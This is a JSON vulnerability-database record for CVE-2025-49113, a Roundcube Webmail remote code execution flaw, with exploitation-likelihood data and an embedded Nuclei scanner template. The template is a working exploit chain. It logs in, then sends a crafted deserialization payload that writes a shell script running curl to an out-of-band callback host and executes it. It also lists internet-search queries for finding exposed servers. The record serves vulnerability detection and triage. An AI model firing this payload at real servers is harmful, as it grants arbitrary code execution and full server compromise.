{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-49113/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-49113/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-49113/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-49113/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-49113/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-49113"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-49113"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.98897,
      "kev": true,
      "percentile": 0.99926
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2025/CVE-2025-49113.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2025-49113\n\ninfo:\n  name: Roundcube Webmail - Remote Code Execution\n  author: rootxharsh,iamnoooob,pdresearch,Ademking\n  severity: critical\n  description: |\n    Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.\n  impact: |\n    Authenticated attackers can exploit unsafe deserialization in file upload handling to execute arbitrary PHP code, achieving complete server compromise.\n  remediation: |\n    Upgrade Roundcube Webmail to version 1.5.10, 1.6.11, or later that properly validates deserialization operations.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-49113\n    - https://fearsoff.org/research/roundcube\n    - https://github.com/advisories/GHSA-8j8w-wwqc-x596\n    - http://www.openwall.com/lists/oss-security/2025/06/02/3\n    - https://roundcube.net/news/2025/06/01/security-updates-1.6.11-and-1.5.10\n    - https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d\n    - https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695\n    - https://github.com/roundcube/roundcubemail/commit/c50a07d88ca38f018a0f4a0b008e9a1deb32637e\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.9\n    cve-id: CVE-2025-49113\n    cwe-id: CWE-502\n    epss-score: 0.98897\n    epss-percentile: 0.99926\n  metadata:\n    verified: true\n    max-request: 3\n    shodan-query: http.component:\"roundcube\"\n    fofa-query: \"roundcube_sessid\"\n  tags: cve,cve2025,roundcube,rce,deserialization,intrusive,vkev,vuln,kev\n\nflow: |\n    if (http(1)) {\n    http(2) && http(3) && http(4)\n    }\n\nvariables:\n  username: \"{{username}}\"\n  password: \"{{password}}\"\n  filename: \"{{randbase(9)}}\"\n  oast: \"{{interactsh-url}}\"\n  oast_new: \"{{replace(oast,'.','\\\\\\\\x2e')}}\"\n\nhttp:\n  - method: GET\n    path:\n      - '{{BaseURL}}'\n\n    extractors:\n      - type: regex\n        name: major\n        group: 1\n        regex:\n          - '\"rcversion\":(\\d)'\n        internal: true\n\n      - type: regex\n        name: minor\n        group: 1\n        regex:\n          - '\"rcversion\":\\d\\d(\\d)'\n        internal: true\n\n      - type: regex\n        name: patch\n        group: 1\n        regex:\n          - '\"rcversion\":\\d\\d\\d(\\d+)'\n        internal: true\n\n      - type: dsl\n        name: version\n        dsl:\n          - major + \".\" + minor + \".\" + patch\n        internal: true\n\n      - type: dsl\n        dsl:\n          - '\"Roundcube Version: \"+ version'\n        internal: true\n\n    matchers:\n      - type: dsl\n        name: version_check\n        dsl:\n          - compare_versions(version, '< 1.5.10') || (compare_versions(version,'>= 1.6.0') && compare_versions(version, '< 1.6.11'))\n          - contains_any(body, \"roundcube\", \"Roundcube\")\n          - contains(body, \"rcversion\")\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        part: body\n        name: nonce\n        group: 1\n        regex:\n          - '\"request_token\":\"(.*?)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /?_task=login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        _token={{nonce}}&_task=login&_action=login&_timezone=Asia%2FDubai&_url=&_user={{username}}&_pass={{password}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 302'\n          - 'contains(location, \"task=mail\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /?_task=settings&_framed=1&_remote=1&_from=!\";O:16:\"Crypt_GPG_Engine\":1:{s:8:\"_gpgconf\";s:{{44 + len(oast_new)}}:\"bash+-c+\"printf+'curl+{{oast_new}}'>/tmp/p;bash+/tmp/p\";\";}}&_action=upload HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxc4v9AJAwaNTZhjk\n\n        ------WebKitFormBoundaryxc4v9AJAwaNTZhjk\n        Content-Disposition: form-data; name=\"_file[]\"; filename=\"firstfile|a:1:{s:57:\\\"a\\\";}\"\n        Content-Type: image/png\n\n        {{base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==')}}\n        ------WebKitFormBoundaryxc4v9AJAwaNTZhjk--\n\n    matchers:\n      - type: dsl\n        name: exploit_check\n        dsl:\n          - 'status_code == 200'\n          - 'contains(interactsh_protocol, \"dns\")'\n          - 'contains_all(body, \"add2attachment_list\", \"rcmfile\", \"mimetype\", \"firstfile\")'\n        condition: and\n# digest: 4b0a00483046022100c72d7180a7c340f409004011e0e9c152c62b85e851fc60cf08318bb12b505c44022100cf09d9138dc263837f7e38d7c661307fe1dbc6d97f3f310ead49649a8f0cc334:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2025-49113"
}